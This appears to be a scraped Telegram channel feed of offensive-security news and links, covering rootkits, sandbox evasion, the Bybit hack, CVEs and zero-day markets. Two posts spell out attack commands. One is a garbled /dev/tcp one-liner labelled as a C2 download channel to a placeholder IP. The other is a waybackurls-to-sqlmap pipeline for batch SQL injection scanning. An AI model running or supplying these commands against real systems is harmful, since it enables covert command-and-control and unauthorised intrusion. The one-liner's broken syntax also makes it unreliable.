cKure Red

🐧

The Art of Linux Kernel Rootkits.

https://inferi.club/post/the-art-of-linux-kernel-rootkits

Please open Telegram to view this post

VIEW IN TELEGRAM

inferi.club

The Art of Linux Kernel Rootkits

An advanced and deep introduction about Linux kernel mode rookits, how to detect, what are hooks and how it works.

👍2

2.62K views18:04

cKure Red

💎 Sandbox evasions are a strange world: a tiny mouse jitter can decide the fate of a whole attack chain. CPR describes statistical attacks they launched on sandbox human interaction modules, then gives full mitigation, including exposition and source code.

Exploiting Statistical Weaknesses in Human Interaction Anti-Evasions.

https://research.checkpoint.com/2025/the-cat-and-mouse-game-exploiting-statistical-weaknesses-in-human-interaction-anti-evasions/

Please open Telegram to view this post

VIEW IN TELEGRAM

Check Point Research

The Cat and Mouse Game: Exploiting Statistical Weaknesses in Human Interaction Anti-Evasions - Check Point Research

Executive Summary Why We Care about Sandbox Emulation As a discipline, information security involves a vast web of entry vectors, mitigations, and counter-mitigations. Among these, one of the most impactful points of conflict between attackers and defenders…

1.83K views17:11

cKure Red

5️⃣

1 liner bash for C2 without using any native program like wget, nc etc, esp containers.

bash-c "exec 3<>/dev/tcp/IP/80; echo -e GET/ youfile.sh HTTP/1.1\r\nHost; ip\r\nConnection: close\r\n\r\n' >&3; cat <&3-> yourfile.sh'

Source: Linkedin | Harvey Spec

Please open Telegram to view this post

VIEW IN TELEGRAM

👎5

2.09K viewsedited 08:18

cKure Red

1:09

This media is not supported in your browser

VIEW IN TELEGRAM

Dangerous AI communication.

GibberLink mode.

Source: https://www.linkedin.com/in/georgi-gerganov-b230ab24

🤣4

1.96K views06:31

cKure Red

Bybit_Incident_Investigation_-_Preliminary_Report.pdf

3 MB

Bybit_Interim_Investigation_Report.pdf

679.2 KB

1.86K views06:52

cKure Red

🇰🇵

Bybit hack technical analysis of the Hack by Lazarus group, North Korean state spinsored hacking group (as calimed by the FBI, United States 🇺🇸).

Please open Telegram to view this post

VIEW IN TELEGRAM

🤩1

1.99K viewsedited 06:53

cKure Red

🎁

Hiding Shellcode in Image Files with Python and C/C++

https://github.com/WafflesExploits/hide-payload-in-images

Please open Telegram to view this post

VIEW IN TELEGRAM

GitHub

GitHub - andrecrafts/hide-payload-in-images: A project that demonstrates embedding shellcode payloads into image files (like PNGs)…

A project that demonstrates embedding shellcode payloads into image files (like PNGs) using Python and extracting them using C/C++. Payloads can be retrieved directly from the file on disk or from ...

2.38K views14:55

cKure Red

20250306_195000.jpg

558.9 KB

Ransomware Archive

2.39K viewsedited 16:01

cKure Red

🆕

No-Click Critical Vulnerability in Microsoft Windows: CVE-2025-21298.

https://www.hackers-arise.com/post/new-no-click-critical-vulnerability-in-microsoft-windows-cve-2025-21298

Please open Telegram to view this post

VIEW IN TELEGRAM

Hackers Arise - EXPERT CYBERSECURITY TRAINING FOR ETHICAL HACKERS

NEW No-Click Critical Vulnerability in Microsoft Windows: CVE-2025-21298 - Hackers Arise

Welcome back, my aspiring cyberwarriors! Over the years, Microsoft Windows operating system, the world's most widely used OS, has been riddled with security vulnerabilities. As the years have gone by and Microsoft has become more security conscience, the…

👍1😁1🤡1

2.73K views19:16

cKure Red

🌐

Russian zero-day seller is offering up to $4 million for Telegram exploits.

https://techcrunch.com/2025/03/21/russian-zero-day-seller-is-offering-up-to-4-million-for-telegram-exploits/

Please open Telegram to view this post

VIEW IN TELEGRAM

TechCrunch

Russian zero-day seller is offering up to $4 million for Telegram exploits | TechCrunch

Two sources in the zero-day industry say Operation Zero's prices for exploits against the popular messaging app Telegram will depend on different factors.

👍2

2.62K views17:29

cKure Red

🌐 Yet another website: sploitify.haxx.it [interactive public exploit cheat sheet]

Please open Telegram to view this post

VIEW IN TELEGRAM

👍1🔥1

1.67K views17:30

cKure Red

😀

😀RamiGPT – AI Tool To Escalate Privilege & Gain Root Access Within a Minute.

https://cybersecuritynews.com/ramigpt-gain-root-access/

Please open Telegram to view this post

VIEW IN TELEGRAM

Cyber Security News

RamiGPT – AI Tool To Escalate Privilege & Gain Root Access Within a Minute

A new AI-driven offensive security tool, RamiGPT, is known for its ability to autonomously escalate privileges and gain root access to vulnerable systems in under a minute.

👍2

2.03K views17:36

cKure Red

🎲

🐬

Feberis Pro: The Ultimate 4-in-1 Expansion Board for Flipper Zero.

www.mobile-hacker.com/2025/03/31/feberis-pro-the-ultimate-4-in-1-expansion-board-for-flipper

Please open Telegram to view this post

VIEW IN TELEGRAM

Mobile Hacker

Feberis Pro: The Ultimate 4-in-1 Expansion Board for Flipper Zero

In a previous blog post, I introduced Feberis, a versatile expansion board that enhanced the capabilities of the Flipper Zero by offering additional communication protocols. Now, I am excited to dive into the newly released Feberis Pro, a next-generation…

2.02K views21:40

cKure Red

📣

Oracle quietly confirms public cloud data breach, customer data stolen.

The attacker exploited a vulnerability in Oracle Access Manager to breach Oracle-hosted servers. The vulnerability is tracked as CVE-2021-35587 and was assigned a critical severity score 9.8/10. It was patched in mid-January 2022, raising questions over whether Oracle kept its own servers vulnerable to a flaw it fixed more than three years ago.

CrowdStrike is investigating the incident along FBI.

https://www.techradar.com/pro/security/oracle-quietly-confirms-public-cloud-data-breach-customer-data-stolen

Please open Telegram to view this post

VIEW IN TELEGRAM

TechRadar

Oracle quietly confirms public cloud data breach, customer data stolen

Oracle has sent out breach notifications

🔥31

1.89K views05:42

cKure Red

🚨

Zero-Day: EPICOR HCM Unauthenticated Blind SQL Injection CVE-2025-22953.

https://tinted-hollyhock-92d.notion.site/EPICOR-HCM-Unauthenticated-Blind-SQL-Injection-CVE-2025-22953-170f1fdee211803988d1c9255a8cb904

Please open Telegram to view this post

VIEW IN TELEGRAM

tinted-hollyhock-92d on Notion

EPICOR HCM Unauthenticated Blind SQL Injection CVE-2025-22953 | Notion

[Update – Patch Released by Epicor]

❤‍🔥2🦄22

2.06K views16:24

cKure Red

🔤

SQLMap from Waybackurls.

waybackurls target | grep -E '\bhttps?://\S+?=\S+' | grep -E '\.php|\.asp' | sort -u | sed 's/$=[^&]*$/=/g' | tee urls.txt | sort -u -o urls.txt && cat urls.txt | xargs -I{} sqlmap --technique=T --batch -u "{}"

Credits: Zlatan H

Please open Telegram to view this post

VIEW IN TELEGRAM

3⚡1🔥1

2.01K views22:19

cKure Red

📍

Everyone knows your location: Tracking myself down through in-app ads.

https://timsh.org/tracking-myself-down-through-in-app-ads/

📍

Everyone knows your location, Part 2: Try it yourself and share the results.

https://timsh.org/everyone-knows-your-location-part-2-try-it-yourself/

➿

analyse-ad-traffic l: A guide + python notebook that helps to collect, analyse and visualise requests sent by a mobile device while using some app.

https://github.com/tim-sha256/analyse-ad-traffic

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥4🤡1

2.77K viewsedited 15:07

cKure Red

⚡️

Full Disclosure | A Hardware Zero-Day Drop: Bypassing Lock - Microchip/Atmel SAM4C32

📱

https://wiki.recessim.com/view/ATSAM4C32

▶️https://youtu.be/IOD5voFTAz8

Please open Telegram to view this post

VIEW IN TELEGRAM

YouTube

Hacking a Microprocessor - Reverse Engineer shows you how it's done

*Become a Patreon* https://www.patreon.com/RECESSIM
*$10 Perplexity Discount* https://perplexity.ai/pro?referral_code=Q8T83K9C

Learn how Reverse Engineers extract secrets from locked microchips. It's not as hard as you might think!

*0x01 Team* https://0x01team.com…

🔥4😱22

2.27K views17:20

cKure Red

🟥

Microsoft Zero-Day drop:

Server MS-TNAP Authentication Bypass [RCE 0day]
A critical 0-click remote authentication bypass vulnerability in Microsoft Telnet Server that allows attackers to gain access as any user, including Administrator, without requiring valid credentials. The vulnerability exploits a misconfiguration in the NTLM Authentication processes of the Telnet MS-TNAP extension allowing remote unauthenticated attackers to bypass authentication completely.

Unconfirmed code
https://github.com/hackerhouse-opensource/hfwintelnet

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥2👍1👌11

1.92K views22:25

cKure Red

🌐

Pwning the Ladybird browser.

https://jessie.cafe/posts/pwning-ladybirds-libjs/

Please open Telegram to view this post

VIEW IN TELEGRAM

✍1👍11

1.85K views11:55